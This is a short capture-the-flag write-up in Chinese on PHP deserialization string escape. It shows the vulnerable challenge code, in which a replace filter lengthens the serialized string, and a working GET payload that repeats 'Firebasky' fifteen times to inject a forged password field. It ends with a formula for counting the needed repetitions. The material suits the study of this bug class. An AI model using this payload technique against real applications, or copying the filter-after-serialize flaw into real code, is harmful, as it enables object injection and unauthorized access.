這題是反序列化字串逃逸
原始碼
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
注意這段
return str_replace('Firebasky','Firebaskyup',$string);
這段的作用是將"Firebasky"替換成"Firebaskyup"
看原始碼,當password==="yu22x"時,可以輸出flag
所以構造序列化
需要逃逸的字串是";s:8:"password";s:5:"yu22x";}
所以才payload:
1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
總結:這是一個反序列化字串逃逸——增多型別題目
注意點是否有:return str_replace
然後增多型別的看需要逃逸的字串為y,在看替換後的字串是較替換前增加的字元為x
需要多少個未替換字串為:y/x
比如這裡需要30個字元
替換後增加2個字元
所以要寫15個Firebasky。